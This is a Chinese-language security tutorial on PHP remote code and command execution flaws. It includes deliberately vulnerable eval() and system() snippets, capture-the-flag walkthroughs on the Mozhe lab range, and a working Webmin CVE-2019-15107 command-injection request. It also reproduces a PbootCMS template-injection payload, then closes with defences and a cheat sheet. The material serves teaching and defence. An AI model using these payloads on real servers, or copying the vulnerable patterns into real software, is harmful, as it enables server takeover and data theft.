一、什么是RCE漏洞?一句话讲明白
RCE = Remote Code/Command Execution = 远程代码/命令执行
通俗点说:黑客能在你的服务器上远程执行任意代码或命令。这就像黑客拿到了你服务器的"遥控器",想干嘛就干嘛------查看文件、窃取数据、甚至关机删库!
RCE漏洞是最高危的漏洞之一,一旦出现,服务器基本就等于"裸奔"了。
二、RCE漏洞是怎么产生的?
很多Web应用里,开发者会用到一些特殊的函数,这些函数能把字符串当代码 或命令来执行。
问题来了:如果用户能控制这些函数的输入,那就出大事了!
案例1:远程代码执行(eval函数)
<?php
$code = $_GET['x']; // 用户传什么,就接收什么
eval($code); // 把用户传的内容当PHP代码执行!
?>
攻击方式:
http://localhost/1.php?x=phpinfo();
访问这个URL,服务器就会执行 phpinfo(),把PHP配置信息全部暴露出来!
再来个更狠的:
http://localhost/1.php?x=echo%20abc;
直接在页面上输出 abc,说明代码被执行了。
案例2:远程命令执行(system函数)
<?php
$code = $_GET['x']; // 接收用户输入
echo system($code); // 把用户输入当系统命令执行!
?>
攻击方式:
http://localhost/2.php?x=ipconfig // 查看服务器IP配置
http://localhost/2.php?x=whoami // 查看当前用户是谁
http://localhost/2.php?x=dir // 列出当前目录文件
黑客想执行什么命令,直接在URL里传就行了!
三、实战演练:墨者学院靶场
案例1:命令注入执行分析
靶场链接:https://www.mozhe.cn/bug/detail/12
第一步:信息收集
打开靶场,发现有个输入框,输入 127.0.0.1 测试一下,发现是在执行 ping 命令。
按 F12 看响应头,发现:
Server: Apache/2.4.7 (Ubuntu)
说明是 Linux 系统,可以用 Linux 命令!
第二步:绕过前端验证
输入框可能做了前端限制,直接输入 127.0.0.1 | ls 试试。
用 Burp Suite 抓包,修改参数:
iipp=127.0.0.1|ls&submit=Ping
| 是管道符,意思是把前面的结果传给后面的命令。这里 ping 127.0.0.1 的结果不重要,关键是后面的 ls 会列出当前目录的文件!
第三步:获取KEY
发现有个文件叫 key_250362016612167.php,直接读取:
iipp=127.0.0.1|cat<key_250362016612167.php&submit=Ping
拿到KEY:mozhe4d2b4290ab39f24b48427ac5550*
案例2:PHP代码分析溯源
靶场链接:https://www.mozhe.cn/bug/detail/13
第一步:分析混淆代码
靶场给了一段加密的代码:
<?php
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>
运行一下,发现解密后是:
<?php
echo 'ipconfig';
echo `ipconfig`; // 注意这个反引号!
?>
关键知识点 :PHP中的反引号 ` `` 是执行运算符!
反引号里的内容会被当作 shell 命令来执行,相当于 system() 函数。
所以原代码其实是:
echo `$_REQUEST[a]`;;
用户传什么 a,就执行什么命令!
第二步:获取KEY
/f.php?a=cat<key_52021515430693.php
直接读取KEY文件!
案例3:Webmin公开漏洞(CVE-2019-15107)
靶场链接:https://www.mozhe.cn/bug/detail/309
Webmin是什么?
Webmin 是一个Linux/Unix服务器的Web管理工具,可以通过浏览器管理服务器。
漏洞利用步骤:
第一步:抓包
用 Burp Suite 抓登录请求,发送到 Repeater 模块。
第二步:构造payload
修改 POST 数据:
POST /password_change.cgi HTTP/1.1
...
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
注意 old=test|id,这里用 | 拼接了 id 命令,会显示当前用户信息!
第三步:获取KEY
user=rootxx&pam=&expired=2&old=test|cat /key.txt&new1=test2&new2=test2
拿到KEY:mozhe4fec742dd32df30a63ee71b2495
四、PbootCMS实战复现
靶场搭建
1. 下载 PbootCMS-1.1.4.zip
2. 解压放到 phpStudy 的 WWW 目录下
3. 浏览器访问 http://localhost/pboot/
漏洞复现
第一步:在线留言注入
找到留言功能,在留言框里输入:
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
这段代码利用了模板注入漏洞,{pboot:if} 标签里的内容会被当作PHP代码执行!
第二步:登录后台
http://localhost/pboot/admin.php
第三步:触发漏洞
访问之前留言的页面:
http://localhost/pboot/index.php/about/10.html
POST 数据:
1=phpinfo();
页面会显示 phpinfo() 的输出,说明代码被执行了!
漏洞原理分析
1. 留言内容被保存到数据库
2. 访问留言页面时,模板引擎解析 {pboot:if} 标签
3. parserIfLabel 函数没有对标签内容做过滤
4. eval() 函数直接执行了用户输入的代码
审计视角 :用代码审计工具搜索危险函数 eval、system、exec 等,就能发现这类漏洞。
五、RCE漏洞防御方法
| 防御措施 | 具体做法 |
|---|---|
| 输入过滤 | 对用户输入进行严格校验,只允许特定字符 |
| 命令白名单 | 只允许执行预定义的命令,拒绝任意输入 |
| 禁用危险函数 | 在 php.ini 中禁用 eval、system、exec、shell_exec 等 |
| 权限控制 | Web服务用低权限账号运行,限制可访问的目录 |
| 使用安全函数 | 用 escapeshellarg()、escapeshellcmd() 转义命令参数 |
PHP配置示例:
; 禁用危险函数
disable_functions = eval,system,exec,shell_exec,passthru,popen,proc_open
总结:RCE漏洞速查表
| 漏洞类型 | 危险函数 | 攻击方式 |
|-------|------------------------------------|----------|--------------------|
| 代码执行 | eval()、assert() | 直接传PHP代码 |
| 命令执行 | system()、exec()、shell_exec() | 传系统命令 |
| 反引号执行 | ` `` | 反引号里写命令 |
| 命令注入 | 拼接用户输入 | 用 `\ | 、;、&&` 拼接命令 |
记住一句话:永远不要把用户输入直接传给能执行代码/命令的函数!